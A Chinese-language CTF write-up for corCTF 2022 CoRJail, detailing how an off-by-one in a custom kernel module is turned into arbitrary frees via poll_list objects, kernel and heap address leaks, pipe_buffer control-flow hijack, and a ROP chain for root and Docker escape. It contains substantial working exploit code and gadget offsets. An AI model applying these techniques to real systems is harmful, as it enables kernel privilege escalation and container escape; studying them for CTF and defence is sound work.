【Exploit trick】利用poll_list对象构造kmalloc-32任意释放

2022/11/11 CTF 共 17915 字,约 52 分钟

【Exploit trick】利用poll_list对象构造kmalloc-32任意释放 (corCTF 2022-CoRJail)

保护机制:SMAP, SMEP, KPTI, KASLR 及常用的保护机制,禁用了 msgget() / msgsnd() / msgrcv()

源码文件下载:https://github.com/bsauce/CTF

源码文件下载:https://github.com/bsauce/CTF

漏洞分析:kmalloc-4096 中的 off-by-one 漏洞,溢出写入一个NULL字节。

利用总结利用 poll_list 对象来构造任意释放,取代 msg_msg

需要用到子线程进行堆喷时(特别是喷射 poll_list 对象时会有阻塞,必须用子线程),调用 pthread_setaffinity_np() 将线程绑定到 core 0,进行无关操作(例如创建子线程的操作)则绑定到其他 core。

  • (1)泄露内核基址:通过溢出篡改 poll_list->next 构造任意释放,释放 user_key_payload 对象后,泄露重叠的 seq_operations->show 指针。
    • (1-1)喷射2048个 seq_operations 对象(位于 kmalloc-32)。注意,需打开"/proc/self/stat" 文件2048次,但进程默认可打开的文件数为1024,需修改这个限制(可以参考 CVE-2022-2588 的exp,调用 setrlimit(RLIMIT_NOFILE, &rlim) 来设置最大打开文件描述符)。
    • (1-2)喷射72个 user_key_payload 对象(位于 kmalloc-32)。注意,需先调用setxattr() 初始化内存,user_key_payload前8字节必须为NULL,避免 poll_list->next 无限制释放下去。
    • (1-3)喷射14个 poll_list 对象(位于 kmalloc-4096 + kmalloc-32)。注意,必须在子线程中调用 poll(),因为有阻塞,时间设置为3s,3s后自动释放 poll_list 对象。
    • (1-4)再喷射 199-72user_key_payload 对象(位于 kmalloc-32),增大成功几率;
    • (1-5)触发 off-by-one 漏洞,分配一个 kmalloc-4096 并溢出将相邻的 poll_list->next 最低字节覆写为0,使得 poll_list->next 指向某个 user_key_payload(记为corrupted_key);
    • (1-6)等待14个 poll_list 对象释放,实际可能会将某个 user_key_payload 对象释放;
    • (1-7)再喷射128个 seq_operations 对象,可能会占据被释放的 user_key_payloadseq_operations->showuser_key_payload->data 恰好重叠。注意,seq_operations->next 指针也恰好将 user_key_payload->datalen 这两个字节覆写的很大,可以溢出读。
    • (1-8)读取所有 user_key_payload 即可泄露内核基址。(通过判断第1个8字节是否为内核基址,可得知是否成功泄露)。
  • (2)泄露kmalloc-1024堆地址:利用 seq_operations->nextuser_key_payload->datalen 两个字节改大,溢出读取 tty_file_private->tty(某个位于 kmalloc-1024tty_struct 对象的堆地址)。
    • (2-1)释放除 corrupted_key 以外所有的 user_key_payload
    • (2-2)喷射72个 tty_file_private 对象(位于 kmalloc-32),使之和 user_key_payload 对象相邻;
    • (2-3)通过 corrupted_key 溢出读来泄露 tty_file_private->tty (某个位于 kmalloc-1024tty_struct 对象的堆地址,记为 target_object);
  • (3)劫持控制流并提权:通过setxattr() 堆喷伪造poll_list->next构造任意释放,释放kmalloc-1024,然后伪造pipe_buffer劫持控制流。
    • (3-1)释放128个 seq_operations 对象,注意其中一个和 corrupted_key 重叠;
    • (3-2)喷射192个 poll_list 对象(位于 kmalloc-32),占据 corrupted_key
    • (3-3)释放 corrupted_key
    • (3-4)利用 setxattr() 堆喷199次,来伪造 poll_list->next = target_object-0x18。注意喷射完后立马用 user_key_payload 占用,避免其他内核对象把这8字节又污染了;target_object 也即 tty_struct 前8字节不为NULL,而target_object-0x18 的前8字节为0,所以这样伪造一个非对齐的地址;
    • (3-5)释放72个 tty_file_private 对象,顺带释放了 tty_struct(因为tty_struct检查太多了,不如 pipe_buffer 对象方便)。
    • (3-6)喷射1024个 pipe_buffer 对象(位于 kmalloc-1024),占据 target_object 也即某个 tty_struct 对象;
    • (3-7)等待192个 poll_list 对象释放,实际可能会将 target_object-0x18 堆块释放;
    • (3-8)喷射31个 user_key_payload(位于 kmalloc-1024)来伪造 pipe_buffer 对象;
    • (3-9)释放1024个 pipe_buffer 对象,触发劫持控制流并提权。

1. 环境介绍

CoRJail介绍:内核利用+docker逃逸,漏洞是 off-by-one,docker容器含有定制的seccomp过滤。本方法是利用 poll_list 对象来构造任意释放。

环境限制:CoRJail 运行在 custom Debian Bullseye image (简称CoROS)上的 docker 容器中,作者修改了 default Docker seccomp profile 来阻止 msgget() / msgsnd() / msgrcv() 调用,但是允许调用 add_key() / keyctl(),容器中可以访问 Kernel Key Retention Service,作者定制的 seccomp 文件位于 here。 需自行编译 coros.qcow2 image

内核版本5.10.127,打补丁后就能获取 per-CPU syscall信息(因为漏洞模块需要获取每个CPU执行syscall的信息),还加了最新的补丁 modified versionprocfs - add syscall statistics),此外作者没有编译 io_uring / nftables 以减少攻击面。

保护机制KASLR, SMEP, SMAP, KPTI, CONFIG_SLAB_FREELIST_RANDOM, CONFIG_SLAB_FREELIST_HARDENED , CONFIG_STATIC_USERMODEHELPER 应有尽有,CONFIG_STATIC_USERMODEHELPER_PATH 设置为空字符串,避免 modprobe_path trick 攻击,未设置 CONFIG_DEBUG_FS / CONFIG_KALLSYMS_ALL,这样 /proc/kallsyms 中很多符号就看不见了。

CoRMon 漏洞模块通过 procfs 访问,可以展示 per-CPU syscall count,只展示 filter 中指定的syscall,用户可以通过 echo -n 'syscall_1,syscall_2,...' > /proc/cormon 来设置新的 filter。例如,为了得到 read() / write() 的 per-CPU usage count,可以使用 echo -n 'sys_read,sys_write' > /proc/cormon 命令。

$ echo -n 'sys_read,sys_write' > /proc/cormon
$ cat /proc/cormon

默认的 filter 其实是一个提示,列出了作者exp中用到的 syscall:

1-cormon2

2. 漏洞分析

源码分析:CoRMon 源码参见 cormon.c。我们可以通过 procfs 调用 read() / write() 和漏洞模块进行交互。调用 write() 时,对应的 cormon_proc_write() 负责将现有的filter替换为用户定义的filter;调用 read() 时,对应的 cormon_seq_show() 负责输出 filter 中 syscall 的信息。

漏洞:很显然,cormon_proc_write()中存在一个 off-by-one 漏洞:当写入字节恰好为4096时,len 被设置为 4096,在 [4] 处导致 off-by-one 漏洞。

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    [...]

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count; 	// [1] 当写入字节大于4096时,`len` 被设置为 `PAGE_SIZE-1`,否则被设置为 count

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC); 			// [2] 分配 kmalloc-4k
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len)) 			// [3] 拷贝用户数据
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00'; 							// [4] off-by-one 漏洞

    [...]
}

3. poll_list 对象

限制调用:容器环境使得利用条件十分有限,seccomp 阻止了 unshare / msgget(), msgsnd() and msgrcv() 等调用。只能找新的对象来替代 msg_msg,那就是 poll_list 对象,可以构造任意释放。

3-1. poll_list 分配

poll调用poll_list 对象是在调用 poll() 时分配,该调用可以监视1个或多个文件描述符的活动。

// 参数说明: fds - pollfd 结构数组; nfds - fds 数组中 pollfd 结构的数量; timeout - event 发生的时间 (milliseconds)
int poll(struct pollfd fds[], nfds_t nfds, int timeout);

struct pollfd {
    int   fd;
    short events;
    short revents;
};

struct poll_list {		// poll_list 是头部, 从 poll_list->entries 开始存放用户传入的 pollfd
	struct poll_list *next;  
	int len;				 // entries 中 pollfd 结构的数量
	struct pollfd entries[]; // pollfd 结构数组, 每个 entry 占8字节
};

调用顺序SYSCALL-poll -> do_sys_poll()

代码分析:用户调用 poll() 时,内核会调用 do_sys_poll(),将用户传递的 fds 数组(entries)拷贝到内核。do_sys_poll() 有两条路径,一快一慢。先将前30个 pollfd 放在栈上 - [2],再将多出来的 pollfd 放在堆上 - [4]。总结来说,poll_list 对象可以分配到 kmalloc-32 到 kmalloc-4k,可以控制该对象在内核中占据的时间,时间到了后自动释放。

#define POLL_STACK_ALLOC	256
#define PAGE_SIZE 4096

#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))	//(4096-16)/8 = 510(堆上存放pollfd最大数量)

#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / \				//(256-16)/8 = 30 (栈上存放pollfd最大数量)
			sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
		struct timespec64 *end_time)
{

    struct poll_wqueues table;
    int err = -EFAULT, fdcount, len;
    /* Allocate small arguments on the stack to save memory and be
       faster - use long to make sure the buffer is aligned properly
       on 64 bit archs to avoid unaligned access */
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; // [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
 	unsigned long todo = nfds;

	if (nfds > rlimit(RLIMIT_NOFILE))
		return -EINVAL;

	len = min_t(unsigned int, nfds, N_STACK_PPS); // [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间

	for (;;) {
		walk->next = NULL;
		walk->len = len;
		if (!len)
			break;

		if (copy_from_user(walk->entries, ufds + nfds-todo,
					sizeof(struct pollfd) * walk->len))
			goto out_fds;

		todo -= walk->len;
		if (!todo)
			break;

		len = min(todo, POLLFD_PER_PAGE); 		// [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。每个page 最多存 POLLFD_PER_PAGE (510) 个entry, 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
		walk = walk->next = kmalloc(struct_size(walk, entries, len),
					    GFP_KERNEL); 			// [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
		if (!walk) {
			err = -ENOMEM;
			goto out_fds;
		}
	}

	poll_initwait(&table);
	fdcount = do_poll(head, &table, end_time);  // [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
	poll_freewait(&table);

	if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
		goto out_fds;

	for (walk = head; walk; walk = walk->next) {
		struct pollfd *fds = walk->entries;
		int j;

		for (j = walk->len; j; fds++, ufds++, j--)
			unsafe_put_user(fds->revents, &ufds->revents, Efault);
  	}
	user_write_access_end();

	err = fdcount;
out_fds:
	walk = head->next;
	while (walk) { 		// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
		struct poll_list *pos = walk;
		walk = walk->next;
		kfree(pos);
	}

	return err;

Efault:
	user_write_access_end();
	err = -EFAULT;
	goto out_fds;
}

poll_list结构关系图:如果需要存放很多 pollfd,则需要分配多个 poll_list 对象,多个 poll_list 对象之间的关系如下所示。注意,最后一个 poll_list 对象可以位于 kmalloc-32 到 kmalloc-4096。

0-multi-poll_list

3-2. poll_list 构造任意释放

示例:假设我们调用 poll() 传入 510+1 个文件描述符,内核就会分配1个 kmalloc-4k 和1个 kmalloc-32,以单链表形式存储。

2-poll_list

任意释放:poll_list 以单链表存储,超时后释放时,会遍历单链表释放每一个 poll_list。如果通过 UAF/OOB 篡改 poll_list->next 就能构造任意释放。

问题:目标对象的前8字节必须为NULL,否则while循环会一直遍历并释放下去。这个条件很容易绕过,可以利用 misaligned 或者只释放前8字节为NULL的对象。

以下代码可以分配 poll_list 对象,注意需要利用子线程来喷射该对象,因为 poll() 调用会阻塞,直到触发特定event或者超时。

#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);

pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

struct t_args
{
    int id;
    int nfds;
    int timeout;
};

void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timeout, id;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timeout = ((struct t_args *)args)->timeout;

    pfds = calloc(nfds, sizeof(struct pollfd)); 	// 构造 struct pollfd *pfds 用户参数

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    //printf("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timeout);
    //printf("[Thread %d] Polling complete: %d!\n", id, ret); 
}

void create_poll_thread(int id, size_t size, int timeout)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));	// 需要减去 poll_list 头部所占的字节数

    args->id = id;
    args->nfds = NFDS(size);	// 这里的size是纯pollfd的个数
    args->timeout = timeout;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}

void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
        pthread_join(poll_tid[i], NULL);
        
    poll_threads = 0;
}

[...]

fds[i] = open("/etc/passwd", O_RDONLY);

for (int i = 0; i < 8; i++)
    create_poll_thread(i, 4096 + 32, 3000);

join_poll_threads();

[...]

4. 漏洞利用 - 泄露内核基址和堆地址

任意释放:首先,利用 kmalloc-4k 的 off-by-one 来篡改相邻的 poll_list->next 指向另一个 kmalloc-32,超时后对象自动释放。

越界读:将任意释放转化为 OOB read 原语,所以需要选取一个弹性对象。simple_xattr不能用,因为其前8字节不为NULL;由于没有禁用 add_key()keyctl(),所以可以采用 user_key_payload

前8字节清零:问题是,该对象的第1个成员 struct rcu_head rcu 没有被初始化,所以不一定为NULL,我们可以在分配 user key 之前采用 setxattr() 来将堆块清0。具体方法是,在调用 alloc_key() 之前先调用 setxattr() ,由于 freelist 的 LIFO 特性,setxattr() 分配的对象会被 user_key_payload 复用。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
	 size_t size, int flags)
{
    [...]
    
    if (size > XATTR_SIZE_MAX)
        return -E2BIG;
    kvalue = kvmalloc(size, GFP_KERNEL); 		// [1] 分配任意 size
    if (!kvalue)
        return -ENOMEM;
    if (copy_from_user(kvalue, value, size)) { 	// [2] 填充任意数据
        error = -EFAULT;
        goto out;
    }
    
    [...]

out:
    kvfree(kvalue); 							// [3] 自动释放

    return error;
}

写exp如下。执行以下代码后,内存布局如下图所示,白色表示未分配的块,绿色表示 poll_list,橘色表示 user_key_payload

    [...]

    assign_to_core(0); 				// [1] 首先绑定到 CPU0 执行 —— sched_setaffinity()

    for (int i = 0; i < 2048; i++) 	// [2] 堆风水: 喷射 seq_operations 结构来填充 kmalloc-32
        alloc_seq_ops(i);

    for (int i = 0; i < 72; i++)
    {   
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32); 		// [3] 调用 add_key() 向 kmalloc-32 喷射 user_key_payload, 注意在这之前调用 setxattr() 将堆块清0(前8字节必须为0)
    }
    
    for (int i = 0; i < 14; i++)
        create_poll_thread(i, 4096 + 24, 3000, false); 	// [4] 喷射 poll_list kmalloc-4k+kmalloc-32

    for (int i = 72; i < MAX_KEYS; i++) 
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32); 		// [5] 喷射更多的 user_key_payload, 填充slab
    }
    
    [...]

3-memory_layout

触发 off-by-one,篡改 poll_list->next,触发任意释放。原理如下图所示

    [...]

    write(fd, data, PAGE_SIZE); // [1] 往 CoRMon procfs 接口写入 4096 字节, 篡改 poll_list->next, 使之指向某个 user_key_payload

    join_poll_threads(); 		// [2] 等待超时并释放所有 poll_list, 这将会释放某个 user_key_payload

    [...]

4-trigger-off-by-one

篡改user_key_payload->datalen:现在需要篡改 user_key_payload,构造 OOB read。直接喷射 seq_operations 对象,seq_operations->single_next 的低2字节 (0x4370,函数地址ffffffff812d4370 t single_next) 可能会覆写之前释放的 user_key_payload->datalen。非常巧妙!

    [...]

    for (int i = 2048; i < 2048 + 128; i++)
        alloc_seq_ops(i); 			// [1] 喷射 seq_operations (kmalloc-32), 其中 seq_operations->single_next 的低2字节 (0x4330) 可能会覆写之前释放的 user_key_payload->len

    if (leak_kernel_pointer() < 0) 	// [2] proc_single_show() 函数指针会覆写到 user_key_payload->data 处。遍历所有 user_key_payload 直到泄露 proc_single_show 地址 —— 内核基址
    {
        puts("[X] Kernel pointer leak failed, try again...");
        exit(1);
    }

    free_all_keys(true); 			// [3] 释放所有 kmalloc-32, 图3A 中橘黄色的块, 除了被覆写的 user_key_payload

    for (int i = 0; i < 72; i++)
        alloc_tty(i); 				// [4] 打开很多 ptmx, 就会用 tty_file_private 替换刚才释放的 kmalloc-32, 见图3B中蓝色的块

    if (leak_heap_pointer(corrupted_key) < 0) // [5] 利用 OOB read 泄露 tty_struct 地址
    {
        puts("[X] Heap pointer leak failed, try again...");
        exit(1);
    }

    [...]

内核基址user_key_payload 被任意释放后,堆喷seq_operations对象来覆写 user_key_payload,其中seq_operations->show 也即proc_single_show() 函数指针,恰好覆盖了 user_key_payload->data 前8字节。如下图3A所示,黄色表示 seq_operations 结构,其中一个 seq_operations 覆写了 user_key_payload,直接读取即可泄露内核基址。

堆地址:打开 ptmx 时,会分配 kmalloc-1024 tty_struct 和 kmalloc-32 tty_file_private,其中 tty_file_private->tty 指向其对应的 tty_struct 结构地址,所以我们利用 user_key_payload 的越界读,就能泄露某个 kmalloc-1024。

5-leak-heap

5. 漏洞利用 - 劫持控制流

目标:现在我们利用 off-by-one 泄露了内核基址和 kmalloc-1024 地址,现在我们需要释放这个 kmalloc-1024 堆块。

方法:再次构造 kmalloc-32 的UAF,利用 setxattr() 堆喷篡改某个 kmalloc-32 中的 poll_list->next 指向这个 kmalloc-1024 堆块的地址(提前堆喷 pipe_buffer 对象来占据这个kmalloc-1024 堆块),构造任意释放,释放该 kmalloc-1024 块。然后堆喷 user_key_payload 对象来伪造 pipe_buffer 来劫持控制流并提权。

    [...]

    for (int i = 2048; i < 2048 + 128; i++)
        free_seq_ops(i); 		// [1] 释放所有 kmalloc-32 seq_operations (图3A/3B中黄色的块)

    for (int i = 0; i < 192; i++)
        create_poll_thread(i, 24, 3000, true); 	 // [2] 用 poll_list 替换刚才释放的 seq_operations (图4A中绿色块), 目前为止,刚才覆写 user_key_payload 的 seq_operations 也被 poll_list 替换

    free_key(corrupted_key); 	// [3] 释放所有 user_key_payload, 包括被 seq_operations 覆写的块, 本质上是释放了某个 poll_list, 构造了UAF
    sleep(1); // GC key

    *(uint64_t *)&data[0] = target_object - 0x18;// [4] 伪造 poll_list->next = target object-0x18

    for (int i = 0; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);  // [5] 先通过 setxattr() 堆喷伪造 poll_list->next, 然后再分配 user_key_payload 占据 setxattr() 的缓冲区,避免被其他对象占用后又把前8字节改掉了
    }

    [...]

6-free-kmalloc-32

劫持控制流:之前作者想通过释放 tty_struct 并篡改 tty_operations 来劫持RIP,但是检查太多了,所以转向 pipe_buffer 对象。

    [...]
    
    for (int i = 0; i < 72; i++)
        free_tty(i); 			// [1] 继续释放 tty_struct

    sleep(1); // GC TTYs

    for (int i = 0; i < 1024; i++)
        alloc_pipe_buff(i); 	// [2] 喷射 pipe_buffer, 替换 tty_struct。等待超时, 通过某个伪造的 poll_list->next 释放某个 pipe_buffer

    [...]
    
    free_all_keys(false); 		// 释放所有 user_key_payload

    for (int i = 0; i < 31; i++)
        keys[i] = alloc_key(n_keys++, buff, 600); // [3] 用 kmalloc-1024 user_key_payload 堆喷篡改某个被释放的 pipe_buffer, 布置ROP chain, 篡改 anon_pipe_buf_ops 指针指向 stack pivot gadget

    for (int i = 0; i < 1024; i++)
        release_pipe_buff(i); 	// [4] 关闭 pipe, 触发 pipe_release(), 劫持控制流

    [...]

7-hijack-control_flow

6. 漏洞利用 - Docker 逃逸

逃逸的ROP链如下所示,[1]-[5] 和 CVE-2021-22555 类似,但是本例中不足以提权。和google KCTF环境不一样,本例中 Docker 禁用了 setns(),这意味着我们返回用户空间后不能用它进入另一个namespace。查看 setns() 源码,实际调用了 commit_nsset() 将task转移到另一个 namespace;所以我们调用 copy_fs_struct() 来克隆 init_fs 结构 - [6],再调用 find_task_by_vpid() 定位当前 task - [7],再利用任意写gadget 安装新的 fs_struct - [8],最后调用 swapgs_restore_regs_and_return_to_usermode 返回shell。

    buff = (char *)calloc(1, 1024);

    // Stack pivot    [1]
    *(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
    *(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
    *(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
    *(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

    // ROP
    rop = (uint64_t *)&buff[0x80];

    // creds = prepare_kernel_cred(0)   [2]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

    // commit_creds(creds)    [3]
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

    // task = find_task_by_vpid(1)    [4]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 1;                                // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // switch_task_namespaces(task, init_nsproxy)    [5]
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
    *rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
    *rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

    // new_fs = copy_fs_struct(init_fs)    [6]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= kernel_base + 0xffffffff82589740; // init_fs;
    *rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
    *rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

    // current = find_task_by_vpid(getpid())    [7]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= getpid();                         // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // current->fs = new_fs    [8]
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0x6e0;                            // current->fs
    *rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
    *rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
    *rop ++= 0;                                // rbx

    // kpti trampoline    [9]
    *rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
    *rop ++= 0;
    *rop ++= 0;
    *rop ++= (uint64_t)&win;
    *rop ++= usr_cs;
    *rop ++= usr_rflags;
    *rop ++= (uint64_t)(stack + 0x5000);
    *rop ++= usr_ss;

注意:在创建 poll 线程之前先调用 assign_to_core() 将进程绑定到另一个核,这样是为了避免在 core 0 上创建线程带来的 slab 分配噪声。线程创建完成后,要在执行 poll() 之前调用 assign_thread_to_core() 将进程再次绑定为 core 0。

其他利用方法:比赛中只有一组做出来,Kylebot 用到了 Extended security attributes (在容器中不需要特殊权限),他将 kmalloc-4k off-by-one 转化成 Cross-Cache Null Byte Overflow,篡改 kmalloc-192 中的simple_xattr结构,也即 simple_xattr->list.next 指针。由于cache是非对齐的,所以篡改 simple_xattr->list.next 指向另一个 simple_xattr 的中间,这里伪造了一个 fake header 以构造 OOB read,泄露信息。 最后,他利用 unlinking attack with simple_xattr 技术来篡改 file 结构的 file_operations 指针,指向可控的堆地址,劫持控制流并提权。

7. 补充

测试成功截图

2-succeed

编译exp:由于用到了一些keyutils封装函数,所以需安装 keyutils

# https://blog.csdn.net/ituling/article/details/82888643
$ sudo apt-get install libkeyutils-dev keyutils
# 编译exp时加上 -lkeyutils 选项
$ gcc -pthread -static -w -masm=intel ./exploit.c -o exploit -lkeyutils

# 以下方法不行
$ tar   -jxvf    xx.tar.bz2
$ sed -i 's:$(LIBDIR)/$(PKGCONFIG_DIR):/usr/lib/pkgconfig:' Makefile && make
$ make -k test    # test the results - root user
$ make NO_ARLIB=1 LIBDIR=/usr/lib BINDIR=/usr/bin SBINDIR=/usr/sbin install  # root user

最大文件打开数:由于堆喷 seq_operations 对象需要打开/proc/self/stat 文件,默认最大打开文件数目为 1024,需要改大。reference。问题是如果默认是1024,岂不是不能在默认环境下提权?可以参考 CVE-2022-2588 的exp,调用 setrlimit(RLIMIT_NOFILE, &rlim) 来设置最大打开文件描述符,突破该限制。

$ ulimit -n  		# 查看最大打开文件数
$ ulimit -a 65535   # 对当前进程生效
$ echo "* soft nofile 65535" >>/etc/security/limits.conf
$ echo "* hard nofile 65535" >>/etc/security/limits.conf

注意,运行exp之前需加载漏洞模块 —— $ insmod /home/hi/cormon.ko

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

参考

[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel

corjail —— 题目环境

corjail_exploit.c —— exp

Reviving Exploits Against Cred Structs - Six Byte Cross Cache Overflow to Leakless Data-Oriented Kernel Pwnage

cache-of-castaways —— 题目环境

https://ctftime.org/writeup/34888

文档信息

Search

    Table of Contents